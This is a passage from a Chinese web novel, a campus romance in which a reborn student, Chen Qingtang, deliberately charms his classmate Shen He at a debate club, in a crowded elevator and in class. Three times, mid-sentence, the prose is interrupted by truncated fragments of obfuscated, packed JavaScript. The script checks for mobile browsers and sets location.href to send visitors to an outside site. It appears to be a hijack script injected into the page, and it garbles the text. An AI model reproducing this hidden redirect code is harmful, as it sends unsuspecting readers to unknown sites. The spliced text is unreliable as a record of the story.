罗新想了想:“那,那我们周末再聚餐吧,到时候要叫上陈清棠吗?” 魏彦和罗新都看向沈鹤,等着他的发话。 车子刚好在校门口停下,沈鹤踩了刹车,嗓音不轻不重:“到时候再说。” —— 晚上七点,阶梯教室 社团里的众人几乎都提早到了,教室里的桌子被靠着墙壁分成了两排,桌上堆满了各种零食。 大家吃着东西,跟熟络的人聊着天,气氛轻松。 辩论社的社长是个戴眼镜的女孩子,看着很文气,但她一开口,粗犷的嗓音一下就震慑住了所有人。 张青青:“好了!都安静!下面我说点事儿哈……” 陈清棠跟楚希坐在角落里。 这边几乎没什么人,窗户也开着,挺透气的,陈清棠就没戴口罩,低着头正在看手机。 楚希磕着瓜子儿,伸着脑袋张望了一圈儿:“啧,那啥,沈鹤咋还没来?他不会不来了吧?” 看陈清棠淡定自若,一副事不关己的样子,楚希用膝盖碰了他一下:“你不急啊?” 陈清棠放下手机:“来了。” 楚希还在想什么来了,教室门就忽然被推开,沈鹤裹着一身寒气进来。 那双犀利沉和的眸子,沿着教室利落地扫荡一圈,最后落在了陈清棠身旁。 只有那里还有个座位。 沈鹤快步过去,看见陈清棠也只是点了下头。 挤进座位不小心碰到了陈清棠的腿时,他才低声说了句:“抱歉。” 陈清棠只是浅淡一笑,用基本的礼貌回应他。 这个小插曲后,两人再没有交流。 楚希在旁边看了半天,压低声同陈清棠耳语:“不是吧,你们都是室友了,他怎么对你这么冷淡,话都不多说两句?” 好高冷。 他平时走在路上,碰见别的班级眼熟的同学,都还会寒暄一下呢。 楚希:“你俩这跟陌生人有啥区别?” 陈清棠用同样的耳语回他:“区别就是,今天之后,他会主动跟我打招呼,主动来跟我说话。” 楚希斜眼看他,一脸不太信的样子。 讲台上张青青已经做完了总结,开始说这次辩论议题相关的事儿: “这次我们的辩题是——【一见钟情,是否是见色起意】。” “恭喜,靠左边墙壁坐的同学,你们是反方,你们将围绕‘一见钟情不是见色起意’进行辩论。” “那靠右边墙壁坐的同学,你们是正方,你们将围绕‘一见钟情就是见色起意’进行辩论。” “大家都有十分钟的准备时间,十分钟后辩论正式开始。” 话音落下,教室里响起拖凳子的声音,众人都成团形围坐在一起,七嘴八舌地开始讨论。 陈清棠这边,他们的中心人物是楚希,因为楚希是副社长。 楚希看着一溜溜望着他的纯澈眼神,一摊手:“咱们是反方,但我觉得吧,一见钟情就是见色起意,谁知道该怎么反驳?” 有人附和:“我也觉得,一见钟情就是对对方的皮囊产生了好感啊,这不是见色起意是什么?” 楚希虽然是副社长,但他的辩论水平其实很垃圾。 当上副社长,纯粹就是他人缘儿好,大家推他上去的。 楚希求救地看向陈清棠:“亲爱的~” 陈清棠不动声色地用余光瞥了眼沈鹤。 沈鹤此时正端坐着,脊背如松柏般挺直,一只手捧着个本子,另一只手拿着笔在上面写写画画。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800733|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那双冷沉的眉头微蹙,薄唇紧抿,这是沈鹤在思考时一贯的神态。 陈清棠说话了:“一见钟情当然不是见色起意。” 众人纷纷望向他,楚希手势招呼大家都别出声,听他说。 陈清棠站起来:“一见钟情的核心,在于【钟情】两个字,只有钟下去,爱下去,才能算是一见钟情。” 男生秋雨般清泠的嗓音,不轻不重的落下,好多人都睁大了眼睛。 沈鹤在陈清棠说出第一句话时,手里的笔就停了。 听完陈清棠的后一番话,沈鹤忽然抬起头,直勾勾地看着他。 陈清棠游刃有余:“‘一见’是个瞬间词,但‘钟情’不是个瞬间词,它是个需要漫长的时间去验证的词。” 沈鹤胸膛里有什么呼之欲出,他站了起来,接住了陈清棠的话: “钱钟书有句话描写一见钟情——第一次见你的时候,我的心里已经炸成了烟花,需要用一生来打扫灰炉。” 沈鹤:“如果没有后面那句——‘需要用一生来打扫灰炉’,那么这句话就只是在形容第一次见那个人的感觉,不是在形容深情和钟情。” 说话间,沈鹤时不时看向陈清棠。 像是在寻求共鸣,也像是无声的交锋。 说完后,沈鹤的目光定格在了陈清棠身上。 陈清棠捕捉到了他眼里那点期待。 他对沈鹤浅笑,承接住了这份期待:“对,但见色起意,却只是个瞬间的词,它只发生在某一瞬,并不对将来做保证。” “第一次见面后,就钟于一人,在很长一个阶段内,都只爱一人,要钟情下去,爱下去,这才能算是一见钟情。” 沈鹤再次接话,这次是看着陈清棠的眼睛说的: “感情开始的方式有很多,而一见钟情只是其中的一种,人生是旷野,我们要接纳、允许这种方式的存在。” 讨论结束,沈鹤朝陈清棠点头示意。 陈清棠回之一个微笑。 随后两人双双坐下。 众人还在望着他们,鸦雀无声,楚希率先鼓掌:“说得好!” 哗啦啦的掌声响起,众人都小声说牛逼,这个辩论角度,他们怎么就没想到呢? 楚希喝了口饮料:“那等会儿就你们俩上去打辩论?” 配合得这么好,这么默契,就应该让他们俩多相处,多合作,把刚才产生的好感再推波助澜一下。 沈鹤余光瞥向陈清棠。 陈清棠却说:“我是第一次参加辩论社团的活动,对辩论流程不熟悉,我就算了。” 沈鹤眸光微顿。 楚希又望向沈鹤:“那等会儿你去?” 沈鹤忽然有点空唠唠的无趣:“我也算了。” 辩论比赛实质上是思想的碰撞和共鸣。 如果没人能与他旗鼓相当,这出独角戏会很孤独,沈鹤宁愿闭上嘴。 楚希无语了,都不去:“大家分配谁去吧。” 众人又开始七嘴八舌,大多都是接着刚才陈清棠和沈鹤的辩论角度讨论。 十分钟到了,辩论赛开始。 楚希心不在焉的,他私下里逮住陈清棠:“你怎么回事儿!给你制造机会你都不要?” “你俩刚才一来一回的,多默契啊,沈鹤眼神都从你身上挪不开,气氛多好啊,你不乘胜追击是要闹哪样?” 陈清棠剥了个橘子:“就是因为气氛很好,已经是顶峰的好了,所以才要及时叫停。” 这样才能让人回味无穷。 心理学上有个理论叫——峰终理论。 举个例,比如跟喜欢的人出去玩儿,你在最快乐的时候同对方说了再见,然后转身离开,那么对方对你的记忆和感觉,就会一直停留在最愉悦最高峰的那一刻。 不要乘胜追击,而是优雅离场。 那种回味无穷,以及想要抓住什么的感觉,会促使对方不自觉地追着你行动。 楚希:“搞不懂,真搞不懂你。” 辩论赛到中场休息的时候了。 陈清棠放下吃了一半的橘子:“教室里气味好难闻,我受不了了,我要提前走。” 陈清棠的鼻子天生对气味很敏感,还有过敏性鼻炎,对气味的敏感程度是正常人的好几倍,所以一直到哪儿都是戴着专用口罩的。 教室里虽然开窗通着风,但架不住人多,大家还吃着零食,各种气味混杂在一起,对陈清棠来说相当于小型的生化武器。 今天为了钓沈鹤,才特意没戴口罩。 这已经是陈清棠能做出的,顶天大的牺牲了。 楚希睁大眼:“你不等沈鹤一起?好不容易的机会啊大哥。” 陈清棠却只是耸耸肩:“走了。” 他从后门离开的,动作很轻很小,几乎没人能注意到。 楚希正心说他是个傻子,就忽然看见,沈鹤也站起了身,并紧随其后地也从后门离开了。 楚希:“……??” 他决定拜陈清棠为大师。 这边,陈清棠从教室出来后,就听到了身后不急不躁的脚步声。 陈清棠在一台自动贩卖机旁停下,计算着那个脚步过来的时间。 还有十秒 陈清棠按下了贩卖机的按键 还有七秒 陈清棠拿出手机,打开扫码 还有三秒 陈清棠关掉了网络 脚步声停了 扫码结果提示,网络无连接。 陈清棠看着自己的手机界面轻叹一口气 正要转身离开,男生磁性低冷的嗓音在耳边响起:“我来吧。” 4. 第 4 章 陈清棠抬头,眼里是恰到好处的两分意外。 随后他露出一个浅笑,让开位置:“那,谢谢了。” 沈鹤干脆利落地扫码付款:“没事。” 哐咚一声,饮料砸在了自动贩卖机的取货处。 陈清棠正要弯腰去拿,余光瞥见沈鹤也伸出了手,于是他乐得站着不动。 沈鹤把两瓶饮料取出来,递给陈清棠一瓶。 陈清棠:“谢谢。回去后我微信把钱转给你。” 沈鹤:“嗯。” 两人一齐穿过走廊,风声寂静。 沈鹤忽然开口:“你刚才说得很好。” 陈清棠心想,这么久就憋出了一句? 算了,他勉为其难地接个话吧:“你也很不错。” 为了继续聊下去,他又贴心地延伸了话题:“那你相信一见钟情吗。” 楼道里灯光微弱,沈鹤的脸隐没在黑暗里,让人看不清神情,但能听见他认真的嗓音:“相信。” 很郑重的两个字,被他说得如朝圣般虔诚。 陈清棠微微失笑。 沈鹤偏头看过来,就看见男生微低着头,眼睫垂落,嘴角的弧度柔软清甜,偷香的光擦过他的侧脸,把他每一寸轮廓都描摹得很好看。 沈鹤怔住一瞬:“你不信吗?” 陈清棠:“我信。” 他笑是因为重生觉醒后,意识里的信息告诉他,上辈子沈鹤就对他是一见钟情,但爱而不自知。 这次的辩论赛,让陈清棠了解了,原来沈鹤是那样认真地看待一见钟情的。 陈清棠看向沈鹤:“那你认为,一见钟情产生的爱情靠谱吗。” 两人视线在这一瞬交汇,又焦灼、粘稠地纠缠在一起,宛如面上无波但底下汹涌横流的暗河。 那种仿佛要被拖入某种深渊的危险感又来了,沈鹤瞳孔不明显地颤动两下。 他同陈清棠对视,一字一句很缓慢:“靠不靠谱,从来都是看人。” “能不能做到钟情,也是看个人的选择。爱情起于激情,但终于选择。” “选择爱一个人,就一直爱这个人,不要让别的人再进入自己的心。这是对一个人人品的考验。” 陈清棠的眼神,就在沈鹤动人的嗓音里,一点一点软了下去。 他移开目光:“嗯。是的。” 所以上辈子沈鹤就是这么爱他的吗? 对他一见钟情后,虽然不自知,却下意识就把心关了,再不让任何人进来,只守着他。 糟糕了。 这个男人性感得要命。 好想用胳膊缠住他的脖颈,抬起他的下巴,蹭着他的鼻尖厮磨,最后奖励地咬住他的唇瓣,给予一个吻。 一个话题终了,又没话了。 两人沉默下来,只有细碎的穿堂风从耳边刮过。 陈清棠刚被勾起的那点旖旎,就这么在死寂的沉默中消散了。 说真心的,沈鹤是个无趣的人。 无趣到跟他聊天都好没意思,你不说话,他就也不说话。 这气氛能闷死一打蚊子。 但同时沈鹤又很可爱。 陈清棠想起上辈子,沈鹤每次想要他,也不开口说,就那样高傲矜持地端着。 但他虽然嘴上不说,却会用一种透着侵略性的目光紧盯着陈清棠,眸色沉如深海,却盈满烈烈如阳的灼热。 被那样的视线注视着,陈清棠感觉浑身都一股酥麻,从头发丝酥到了脚趾尖。 像是被沈鹤用目光从上到下地舔了一遍。 最终总是他先忍不住,凑上去勾住沈鹤的脖颈亲吻,索求。 沈鹤的爱和欲,都是无声、静默的。 重活一世,陈清棠已经能全部看懂了。 两人穿过走廊,进了电梯。 电梯里人很多,三月份的天北方还很冷,总有不爱干净的男同学,身上气味混杂熏臭。 陈清棠今天没戴口罩,一进电梯,就被塞了一鼻子让人喉咙反酸的味儿。 胸膛闷塞到喘不过气。 沈鹤跟在他身后进了电梯,两人被迫挤在一个角落里,靠得很近。 一股清甜、幽香,像是山涧里清澈小河边生长的玉兰花的味道,瞬间将陈清棠笼罩住。 这股安心的气味,让他整个人宛如泡在温泉里,舒服得眼睛都眯了起来。 陈清棠不自觉向沈鹤靠近。 在电梯关闭的前一秒,又有人踩点上来了,狭小的空间变得更加拥挤。 人群推搡的冲力,让沈鹤身子失控地朝前一撞。 又因为他强大的核心控制力,及时刹住了车,最终只是轻轻碰了身前的人一下。 陈清棠却忽然发出一声闷哼:“嗯……” 好像被重重撞了一下。 那声小猫似的哼叫,沈鹤明显听见了,手臂的肌肉都僵硬地绷紧一瞬。 沈鹤稍微后退点,极力在拥挤的人群中寻找平衡:“抱歉。太挤了。” 陈清棠特别体谅:“没事。” 好纯情。 好有意思。 好想再逗逗。 陈清棠把自己团巴团巴,往沈鹤怀里蜷了蜷。 感受到贴上来的体温,沈鹤以为是自己挤着他了,尽力往后退。 但每次刚退一点,就立马又被挤紧了。 低头看,陈清棠的鼻尖正碰在他肩头,鼻翼轻轻阖动。 沈鹤微怔。 陈清棠在闻他? 再次偏头确认,却发现陈清棠的表情很自然,好像只是被他身后的同学挤得太过,脸贴在了自己的肩膀上而已。 沈鹤抿起唇 又觉得刚才应该是错觉。 这时电梯抵达一楼,缓慢开了,大家陆陆续续下了电梯,陈清棠和沈鹤被挤在最里面的位置,是最后走的。 几步穿过教学楼大厅,推开大门的一瞬,猎猎寒风从漆黑的夜空中卷来。 沈鹤一般不住校,两人接下来不同路了。 陈清棠大大方方:“那我先走了。再见。” 沈鹤点头:“再见。” 陈清棠走出两步,又回头朝他笑,恰到好处地提起两人之间的愉悦交锋:“今天的辩论赛很开心,下次有机会再一起组队吧。” 沈鹤又想起了那种,胸腔里蠢蠢欲动,有什么东西快要迸发的感觉。 好像一根孤弦,找到了和鸣的琴瑟。 沈鹤冷如寒夜的眉眼,化开淡淡的柔和:“好。” 陈清棠转身踏入夜色,边走边拿出手机,准备放点歌,顺便在回寝室前,去食堂买点东西垫巴肚子。 晚饭吃得太早了,已经有些饿了。 手机刚解锁,就看到楚希的消息,明晃晃地弹了一屏幕。 楚希:怎么样了啊,我看沈鹤跟在你后边走了 楚希:你俩说上话了吗 楚希:人呢? 楚希:五分钟过去了,好的我基本可以判定你们肯定说上话了 楚希:快十分钟了,还没说完吗! 三月份的天,北方的晚上寒气还很重,打字冻手,陈清棠直接拨通了楚希的微信通话。 这个点儿,社团活动已经结束,楚希作为副社长,跟社长一起留下,讨论一下新学期的一点事儿。 接到陈清棠电话时,他刚好忙完:“大师,大师快教教我呗,人家也想脱单嘛。” 楚希委屈:“我都好久没开张了。” 陈清棠犀利反问:“你开过张?” 楚希暴言:“人家想开张!但人家一个人怎么开嘛!你给我培训下,咱俩争取这学期都完成脱单的KPI!” 陈清棠笑了:“你有具体目标吗,这种事要对人下药。” 楚希:“还没有,你先教我嘛,总用得上的。最好要那种节奏快点的法子,我没你那么好的耐心。” 陈清棠给他指了条明路:“□□。” 楚希一撇嘴:“啊,□□就能钓上来的,能是什么好东西。” 对方能因为他长得好看,对他暧昧上头,难保不齐以后,会对比他更好看的人,也暧昧上头。 陈清棠耸肩:“这是最快节奏的方式了。” 楚希想了想:“你是怎么去钓沈鹤的,有什么秘诀吗。” 陈清棠低头踢走脚边的小石头:“第一,爱情是靠吸引的,要做主动方,去吸引对方,而不是围绕对方打转,沦为被动方。” “第二,人与人之间的关系、好感,根本上是在共鸣中加深的,所以多制造共鸣点。” 最简单的例子,一个寝室几个人,每天都同样一起上课、吃饭、睡觉,为什么还会出现小团体,总会有某人和某人关系最好? 一般都是因为,他们两人之间,某些时刻产生了跟别人没有的共鸣点。 比如,同样喜欢动漫啊,同样喜欢某个游戏啊 或者对某件事看法一致啊,三观相似啊,或者同样讨厌某个人啊等,这些都是共鸣点。 陈清棠安排这场辩论比赛的目的,就是为了制造跟沈鹤之间的共鸣点。 当然,他并没有刻意去迎合沈鹤,刚才的辩论赛上,陈清棠完全就是随着自己本心发挥。 他自信自己足够亮眼,且跟沈鹤灵魂契合,绝对能吸引到这个人。 楚希听完竖起大拇指:“牛啊,你是要考研咩,咋琢磨得这么透彻。” 陈清棠想起了上辈子苦恋沈鹤、爱而不得的自己,微一挑眉。 既然纯爱没用,那他陈清棠也懂一点狐媚钓术。 楚希:“诶对了,你周末是不是要搬家?校外租的房子到期了吧?” 陈清棠上学期住校只住了一个月,就因为看不惯寝室里的几个煞笔,搬出去租房住了。 楚希:“我把周末空出来,到时候去帮你搭把手。” 陈清棠淡淡地:“不用你。” 楚希:“那你要自己搬?东西不少啊,你那小身板能行吗。” 陈清棠轻描淡写:“沈鹤会帮我搬。沈鹤有每天跑步和健身的习惯,他搬得动。” 一想到那绝佳的身材,抱起来坚实发烫,连灵魂都能灼伤,陈清棠就馋了。 楚希满脑子问号:“????不是,你放个寒假把脑子冻坏了?” 楚希:“撞了邪了,你以前也不这样啊,自信到跟有病一样。” 陈清棠笑眯眯: “闭嘴。” 楚希完全搞不懂:“你跟沈鹤关系还没那么亲近吧,你要怎么喊他帮你搬家?人也不会同意吧?” 陈清棠纠正并强调道:“是沈鹤会主动来帮我搬家。我不会去喊他。” 最好的钓术,不是猎手引诱一下,猎物就动一下。 而是让猎物以为——是自己在追着对方主动捕食。 — 回到家才晚上九点半,沈鹤简单收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800734|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾了下屋子。 脱掉外套准备洗澡时,他动作忽然顿住。 两秒后,沈鹤抓着外套凑近鼻尖,轻轻嗅了一下。 没味。 不,应该是没有异味。 沈鹤抿唇,把外套拿远,隔自己的鼻尖只有半指的距离。 又闻了闻。 仍然能闻到。 沈鹤不确定还没有别的异味,因为是自己的衣服,也许是他习惯了才闻不出来。 沈鹤盯着衣服看了足足十秒,才扔进了洗衣机。 浴室里响起哗啦的水声,持续了半个小时才停。 沈鹤穿着居家的睡衣,手里捧着毛巾,边擦头边坐在床边。 拿起手机看了眼,陈清棠给他发了消息。 那是一个红包。 沈鹤直接点了接收,却没有退出聊天界面。 他的指尖在对话框上落下,又抬起,复又落下。 不回复显得太冷冰了。 几次后,沈鹤斟酌着从表情包里,选了个[收到]发过去。 切出聊天界面,看到‘发现’那栏有个红点。 沈鹤点了进去,然后就在朋友圈的入口,看到了陈清棠的小白蛇头像。 点开朋友圈,第一条就是陈清棠的动态。 十分钟前发的,只有简短的一句话:辩论赛很有趣,晚安 沈鹤下意识想点个赞,手指落下的前一瞬又顿住。 不合适。 他们的关系还并不那么亲近的。 最终沈鹤什么都没做,安静又不打扰地退出了朋友圈。 — 上午第二节课,是一班和二班一起上的专业课。 陈清棠故意姗姗来迟,等他到教室时,黑压压的一片人头,又是座无虚席。 余光往后一扫,魏彦跟罗新两个排排坐。 沈鹤一个人单坐在最后一排。 因为教室暖气熏得有些热,沈鹤把外套脱了披在肩上,显得他整个人几分懒散的痞气,帅得让人挪不开眼。 而且,沈鹤的身旁还有个空置。 陈清棠不紧不慢地往后走。 楚希早在他一进门,就瞅着他了。 这次楚希学乖了,提前在手机上问:不用我给你占座吧?陈大师,我相信你的手段 陈清棠瞥了眼屏幕,然后冲着楚希使了个眼色眼神。 陈清棠:轻轻松松 本以为这次也得在过道里走个几趟,结果陈清棠刚穿过一半过道,魏彦就热情地挥着胳膊叫住了他:“这里!小陈这里!” 陈清棠就那样抱着书本,在楚希无声赞叹的目光中,朝着沈鹤走了过去。 魏彦对他叨叨:“专门给你占的,哥人好吧。” 陈清棠微笑:“谢谢。” 魏彦嘿嘿两声:“其实是沈哥看你一直没来,就说多占一个座,给你预备着。” 陈清棠意外两秒,随后不动声色地勾起一个笑。 是谁,昨天有空座都那么勉强地不想给他。 今天已经会主动让人帮他占座了。 陈清棠特意放慢了语调,对沈鹤说:“谢谢。” 沈鹤头都没抬,专注写着笔记:“只是顺手。” 魏彦站起身收拾东西:“小陈跟新子坐,我跟沈哥坐吧。” 沈鹤笔尖顿了下:“不用,就这样吧。” 魏彦微讶,挠挠头:“哦,哦好吧。” 沈鹤不是很排斥不熟的人挨着他坐吗。 搞不懂。 陈清棠把书本先搁在桌上,然后才拖过椅子坐下。 他落座时,带起一阵很轻微的风,卷着他身上那股清淡的香气,柔软地在空气中侵染开。 很好闻。 沈鹤写字的力道不自觉轻了些。 陈清棠也不主动跟沈鹤说话,昨晚他熬夜跟楚希打游戏,好晚都没睡,需要补个觉,就趴在桌上开始酝酿睡意。 迷糊中,陈清棠睡着睡着挪了位置,口罩也滑到了鼻子下。 一股熟悉又好闻的气味萦绕在鼻尖。 陈清棠贪婪地追过去,索取深嗅。 是这个气味。 好闻。 而原本正在专心听讲的沈鹤,感受到喷薄在手背上微烫的呼吸,下意识垂眼看。 就瞧见了把胳膊枕在桌上,歪头睡得很乖的陈清棠。 男生秀气的鼻尖,距离他的手背只有半指,快要贴上来了,绵密均匀的呼吸,热浪一样打在他的皮肤上,鼻翼轻轻阖动。 沈鹤呼吸变得轻慢。 这个人又在闻他? 沈鹤不是很确定,于是缓缓把手挪开。 但男生似乎不满地蹙了下眉,又追着要凑过来。 沈鹤干脆把手放下来,搁在腿上。 桌上空荡荡的,那股好闻到让人发瘾的味道没了,陈清棠眉头皱得更深了。 沈鹤就那样安静地看着他。 这时,讲台上的老师忽然点了沈鹤的名。 是讲课的电脑设备出问题了,沈鹤计算机牛逼,还拿过编程大赛的奖,这是大家都知道的事儿,所以喊他上去帮忙看一下。 沈鹤应了声,把肩上披的外套顺手放在了课桌上。 五分钟后再回到座位,看着眼前的景象,沈鹤怔在了原地: 睡熟的陈清棠正抱着他的外套,白皙透红的脸蛋依恋地蹭着,鼻翼轻轻阖动。 5. 第 5 章 下课铃响了,众人都开始收拾东西准备去吃午饭,教室被各种稀碎嘈杂的声音淹没。 陈清棠懒慢地抬起头,眼神都还是迷蒙的。 醒了一半的脑子,在看到自己怀里抱着沈鹤的外套时,另一半也瞬间醒了。 啊呀。 陈清棠只惊讶了一瞬,随后嘴角缓慢地漾开了笑。 这,他真不是故意的。 睡迷糊了。 而且沈鹤身上的味道太好闻,太让他眷恋了。 重生回来后一直在克制情感,这是头一回他靠沈鹤这么近,简直犹如大旱逢甘露。 所以不小心做了个美梦,现实里无法触碰的,他在梦里贪婪地触碰了个遍。 陈清棠看了眼身旁空空如也的座位,伸手在椅子上摸了一把。 凉的。 人估计走了好一会儿了。 但课本什么的都还在,应该只是上个厕所去了。 陈清棠单手撑着脑袋。 那,沈鹤看见了吗? 看见自己抱着他的外套……这么暧昧吗。 而且,他刚才在梦里,梦了点好东西呢。 陈清棠正漫不经心地琢磨着,教室后门嘎吱一声开了。 沈鹤那双淡如冷月的眸子,在对上陈清棠的视线时,有很明显的一瞬僵硬,随后飞快挪开。 陈清棠指尖在桌上轻点了点,心里差不多有数了。 沈鹤走进来,站在桌旁开始收拾东西。 魏彦把书包往背上一抡:“走呗,吃饭去呗,小陈一起去不?” 陈清棠轻瞥了眼沈鹤,故意说:“可以。” 沈鹤动作顿了下。 罗新还趴在桌上不知道在做什么,魏彦一把薅起他的领子:“那赶紧的,过会儿人多。” 罗新挣扎:“哎呀别拉我。” 沈鹤却说:“你们去吧,我就不去了。” 陈清棠唇角勾起一个很轻的弧度。 这是在回避他? 魏彦啊了声,失望道:“别啊沈哥,刚才不都说好了吗,中午一起吃饭。” 罗新:“是啊。” 沈鹤把包收拾好了,正要穿外套,手指触摸到外套上残留的余温时,他的胳膊又很不自然地收回。 最后沈鹤只是把外套拿在手里:“有事忙。” 沈鹤走了。 陈清棠单手撑着脑袋,望着门口的方向若有所思。 沈鹤真是有些小气呢。 抱了一下他的外套而已,就把他当成什么洪水猛兽,避之不及。 这可不行。 周末还得沈鹤帮他搬家呢。 那么多东西,那么累人的活,他可不想自己动手。 魏彦啧了声,挠挠头:“算了,我也不去食堂了,下午没课,我直接回寝室点个外卖吧。” 罗新抱着自己的书:“那我也不去了。” 罗新性格内向,说话时总是嗓音小小的,声气很文弱。 给人的印象,有点像从地底悄咪咪探出头,小心翼翼打量人类世界的小仓鼠。 魏彦一手勾搭着罗新的肩,对陈清棠说:“小陈那我俩先走了啊,我俩回寝室躺着去。” 陈清棠:“好的。” 两人走了,陈清棠这才开始收拾自己的书。 肩膀忽然被拍了下。 陈清棠一回头,就对上了楚希那双亮晶晶的眼睛,里面写了‘看热闹’三个大字。 楚希的八卦之魂在燃烧:“刚才我都看见了,沈鹤明显是在避开你啊,你俩关系不都进一步了吗,他怎么突然这样?” 是发生了什么他不知道的小插曲吗。 陈清棠耸耸肩,把上课发生的事跟楚希说了。 楚希听完两手一摊:“啊,沈鹤防备心那么重,他会不会以为你是故意的?故意借着装睡偷闻他外套,还被他抓了个正着。” 咦,好变态。 陈清棠想了下,客观地得出结论:“有这个可能。” 随后拎起书包,拉好口罩出了教室。 楚希跟他并排走在一起,看他那么轻描淡写:“这你都不在乎?而且当时你就应该跟沈鹤解释啊,就说自己睡迷糊了也好?” 楚希:“要不你现在发消息解释下?这种事都不算事,说开了别人就不会乱想。” 陈清棠却意味深长地摇摇头:“塞翁失马,焉知非福。” 他偏不把这件事说开。 他就要让沈鹤,百转千回地去思考他,费尽心思去琢磨他,注意力难以克制地都放在他身上。 因为他被吊起情绪。 因为他而不得平静。 这样他在沈鹤心里留下的痕迹,才会足够深刻,沈鹤才会更加对他欲罢不能。 楚希搞不懂他:“万一沈鹤反感你了怎么办。” 陈清棠抿唇,这倒是个关键。 沈鹤是因为反感才避开他的呢,还是因为有点尴尬? 或者是别的什么? 陈清棠若有所思:“晚上我自己去吃饭,你不用管我。” 楚希哦了声:“那沈鹤都不搭理你了,周末你搬家的事儿该咋办?还是我去帮你?” 陈清棠:“不用你。” 楚希斜眼看他:“还指望沈鹤呢?” 陈清棠:“嗯哼~ — 魏彦跟罗新从教学楼出去后,打算先去菜鸟驿站取个快递,然后回寝室舒舒服服地摆着。 中途经过图书馆,忽然发现前面有个熟悉的人影,在风里亭亭而立 魏彦同罗新交换了一个眼神。 魏彦:“这人不说回家吗,咋杵在图书馆门口发呆。” 罗新缩缩脖子:“是啊,天这么冷,外套不穿他干拿在手里做什么?” 魏彦放轻了脚步,佝着腰蹑过去。 随后迅雷不及掩耳地伸出爪子,往沈鹤肩上啪地一拍。 沈鹤身子无意识颤了下,手抖得差点没拿稳外套。 魏彦哈哈大笑:“你也有被吓到的时候啊,不说回家吗,在这儿干啥。” 沈鹤面无表情:“去图书馆借两本书。” 罗新瞥到他发红的耳朵:“你怎么不穿外套,你看你的耳朵都冻红了。” 沈鹤张了张嘴,却没说出话。 风里的沈鹤,就穿着件贴身毛衣杵着,少有地显出一点呆,这么冷的天,要不是他身体强健,早就被冻成人干了。 魏彦诶了声,瞪着大眼珠子惊奇到:“沈哥你脸红了,唰地一下就红了!你怎么了?” 沈鹤僵硬地别开脸:“……没。” 魏彦砸吧嘴,好吧:“那我俩先走了?你赶紧把外套穿上吧,好冷啊,回头别给自己冻出病了。” 刚迈出步子,又被沈鹤喊住。 魏彦:“还有事儿?” 沈鹤指尖收紧,犹豫着把外套拿到他面前:“你闻闻。” 或许是他自己习惯了,闻不出什么,万一别人能闻出来呢。 魏彦感觉他奇奇怪怪的,但还是听话地凑过去:“闻了。” 沈鹤望着他:“感想。” 魏彦鼻子又耸了两下:“有一股香味儿吧,还挺好闻的。” 沈鹤又把外套送到罗新面前:“你也闻闻。” 罗新:“一股花香的甘甜。” 沈鹤追着问:“有异味,怪味儿吗?” 魏彦:“没有啊。这外套怎么了?” 他伸手要去把外套抓过来,但沈鹤抢先一步收回了手:“我去借书了。” 沈鹤转身进了图书馆,留下两人一脑袋雾水。 这么一会儿,沈鹤的手都已经冻僵了,三月份寒气未消,积雪未化,真的很冷。 进了室内后,有暖气围绕,才觉得好一点。 沈鹤站在书架子旁,还在看手里的衣服,他把衣服拿近,想试着闻一下。 但刚凑近鼻子,就想起陈清棠抱着这件衣服,睡得很乖的样子。 男生原本白皙的脸颊,因为睡意微微发着熏红,就那样贴着外套内侧柔软的布料,偶尔小猫似的蹭蹭,鼻尖呼出的气息,清浅地打在外套上…… 沈鹤感觉一股热气从脊梁骨蹿上来。 他鼻翼阖动两下,轻轻嗅了两口。 不知道是不是心理作用,只觉得这衣服上,被独属于陈清棠的气息裹罩些。 那股仿若深秋后,带着湿淋淋露水的桂花香味。 这样嗅着,他的呼吸,仿佛跟陈清棠的呼吸,很紧密地纠缠了在一起。 两秒后,沈鹤一把将衣服拿开,这才敢喘气。 最后沈鹤离开图书的时,哪怕北风凛冽,他也没穿那件外套。 裹着一身寒气,冻着跑回家的。 — 下午上完课,陈清棠掐着点儿去食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800735|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂吃饭。 他在一楼逛了一圈,没发现目标人物,也没什么想吃的。 径直上了二楼,一眼就在人群中,看见了相貌和身高都极其出众的沈鹤。 陈清棠只装作没看见,照常去自己喜欢的窗口排队买饭。 等餐的时候,肩膀被拍了下。 魏彦笑嘻嘻地:“小陈一个人啊,跟我们一起呗,我跟沈哥和新子,在那边占了一个桌。” 陈清棠微笑:“好啊。” 魏彦跟他买的一样的饭,也在这个窗口等着,等得无聊了,随口起个话题:“诶你今天上午上课,是跟沈哥坐一起的吧?” 陈清棠:“嗯。” 魏彦:“他是不是有啥事儿?” 陈清棠:“嗯?” 